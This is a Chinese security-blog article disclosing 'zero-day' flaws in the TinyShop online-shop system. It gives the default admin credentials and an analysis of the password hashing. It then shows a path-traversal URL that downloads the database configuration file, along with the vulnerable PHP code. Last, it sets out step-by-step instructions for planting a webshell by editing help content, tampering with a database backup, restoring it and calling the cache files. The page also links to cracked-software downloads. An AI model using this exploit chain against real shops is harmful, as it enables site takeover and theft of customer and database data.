ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → tinyshop网店系统 0day漏洞

tinyshop网店系统 0day漏洞

时间:2018-02-12 11:59:39人气:作者:本站作者我要评论

tinyshop网店系统 0day漏洞

官方首页:www.tinyrise.org

tinyshop网店系统0day漏洞

TinyShop默认后台管理地址http://localhost/tinyshop/index.php?con=admin&act=login 默认后台密码:admin/admin888

数据库管理员表名称为tiny_manager

数据库配置文件/protected/config/config.php

打开数据库中的tiny_manager表,“dqrvRY*`”为validcode值,密码值为:96601e27d0bcd9dce06f95e55df40a6c。

tinyshop网店系统 0day漏洞

管理员密码计算方式

以密码的验证码(validcode)为“dqrvRY*`”,密码明文为“admin888”为例

md5(dqrvRY*`)=96601e27d0bcd9dce06f95e55df40a6c

取前16位“96601e27d0bcd9dc”,和后16位“e06f95e55df40a6c”,与明文密码组合成登录密

码“96601e27d0bcd9dc”+“admin”+”e06f95e55df40a6c”,

然后返回“96601e27d0bcd9dcadmin888e06f95e55df40a6c”的32位小写md5也即数据库表中的

password=md5(96601e27d0bcd9dcadmin888e06f95e55df40a6c)=7c2160f89a2fecff792522553004acb1,登录cmd5在线查询,

直接查询其32为md5值。

php加密函数:

/**

* @brief调用系统的MD5散列方式

* @param String $str

* @return String

*/

public static functionmd5x($str,$validcode=false)

{

if($validcode){

$key = md5($validcode);

$str =substr($key,0,16).$str.substr($key,16,16);

}

returnmd5($str);

}

通过分析知道即使tinyshop使用最简单的123456,获取的密码是32+6=38位字符串加密,直接暴力破解的成功率非常低。这也是md5变异

加密,增强其安全性的一种实际应用。

文件包含漏洞挖掘及利用

1.文件包含漏洞
(1)备份数据库

登录后台系统后,单击“系统设置”-“数据库管理”-“数据库备份”全选数据库后进行备份,成功备份后,在“数据库还原”-“处

理”-“下载”中可以获取文件下载地址,如图4所示。其具体地址为:

http://localhost/tinyshop/index.php?con=admin&act=down&back=20180212_5673_1936.sql

tinyshop网店系统 0day漏洞
2.获取文件包含漏洞

在数据库下载url中发现有一个back参数,直接将该参数替换成数据库配置文件地址../../protected/config/config.php,即可下载,如图5所

示,其exp为:

http://localhost/tinyshop/index.php?con=admin&act=down&back=../../protected/config/config.php,back参数可以换成网站存在

的任意文件进行下载,通过下载数据库配置文件可以获取数据库配置信息。

  function back_list()

   {

          $database_path =Tiny::getPath(‘database’);

          $files =glob($database_path . ‘*.sql’);

          $this->assign(‘files’,$files);

          $database_url =Tiny::getPath(‘database_url’);

          $this->assign(“database_url”,$database_url);

          $this->redirect();

   }

 //备份下载操作

   function down()

   {

          $database_path =Tiny::getPath(‘database’);

          $backs =Req::args(“back”);

          Http::download($database_path.$backs,$backs);

缓存文件获取webshell

1. tinyshop v2.4缓存文件分析

对其cache存在的php文件进行分析,其帮助文件对应模块整理如下:

(1)积分制度、账户注册和购物流程

对应文件夹:cache/593/924/,文件名称为107.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/593/924/107.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=6积分制度

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=3账户注册

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=5购物流程

(2)配送范围

对应文件夹:cache/325/532/,文件名称为5862.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/325/532/5862.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=7配送范围

(3)余额支付

对应文件夹:cache/986/324/,文件名称为752.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/986/324/752.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=8余额支付

(4)退款说明、售后保障

对应文件夹:cache/118/562/,文件名称为682.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/118/562/682.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=9退款说明

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=13售后保障

(5)联系客服、找回密码、常见问题、用户注册协议

对应文件夹:cache/368/501/,文件名称为4461.php ,网站访问地址:

http://192.168.127.130/tinyshop_2.x/cache/368/501/4461.php

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=10联系客服

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=11找回密码

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=12常见问题

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=14用户注册协议

注意:这里的模块在选择编辑内容后,对应在缓存中生成文件,该文件用于后续webshell的获取,也就该文件为webshell的实际地址。

2.tinyshopv3.0版本

在tinyshop v3.0起cache中仅仅对5862.php和6827.php文件名称进行了变更,起具体地址如下:

http://192.168.127.130/tinyshop_3.0/cache/593/924/107.php

http://192.168.127.130/tinyshop_3.0/cache/986/324/752.php

http://192.168.127.130/tinyshop_3.0/cache/368/501/4461.php

http://192.168.127.130/tinyshop_3.0/cache/325/532/5862.php

http://192.168.127.130/tinyshop_3.0/cache/118/562/6827.php

3.获取Webshell方法

(1)单击cms系统中的“内容管理”-“全部帮助”,单击任意一条记录,选择编辑该记录,在其内容中添加一句话后门代码并保存.

tinyshop网店系统 0day漏洞

(2)备份数据库中的帮助表

单击“系统设置”-“数据库备份”在数据库表中选择包含help的表,在本例中为tiny_help的表,选择后在数据库备份中进行备份。

tinyshop网店系统 0day漏洞

(3)下载备份的数据库表sql文件

系统会自动对备份的文件进行命名,选中后单击处理,将其下载到本地,3.0版本中已经修补了数据库文件包含这个漏洞。

tinyshop网店系统 0day漏洞

(4)修改mysql文件

tinyshop网店系统 0day漏洞

(5)上传sql文件进行数据库还原

在后台中,单击“系统设置”-“数据库还原”-“导入”,选择已经修改过的sql文件,如图10所示,选择“上传”,文件上传后会自动还原数据库。

tinyshop网店系统 0day漏洞

(6)清理缓存

单击“系统设置”-“安全管理”-“清除缓存”,选择清除所有缓存。

(7)访问页面

在浏览器中随机访问其帮助文件中的列表,例如“用户注册协议”的地址为:

http://192.168.127.130/tinyshop_2.x/index.php?con=index&act=help&id=14

(8)获取webshell

对v30版本来说其shell地址为模块对应文件地址:

http://192.168.127.130/tinyshop_3.0/cache/593/924/107.php

http://192.168.127.130/tinyshop_3.0/cache/986/324/752.php

http://192.168.127.130/tinyshop_3.0/cache/368/501/4461.php

http://192.168.127.130/tinyshop_3.0/cache/325/532/5862.php

http://192.168.127.130/tinyshop_3.0/cache/118/562/6827.php

v2.0将前面“tinyshop v2.4缓存文件分析”,也就修改“用户注册协议”,则对应shell地址:

http://192.168.127.130/tinyshop_2.x/cache/368/501/4461.php

成功获取wesbhell,后面对全部帮助中的条目进行测试,发现所有输入都可以获取webshell,其ID对应webshell插入代码的详细情况。

tinyshop网店系统 0day漏洞

本文原创作者simeon

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网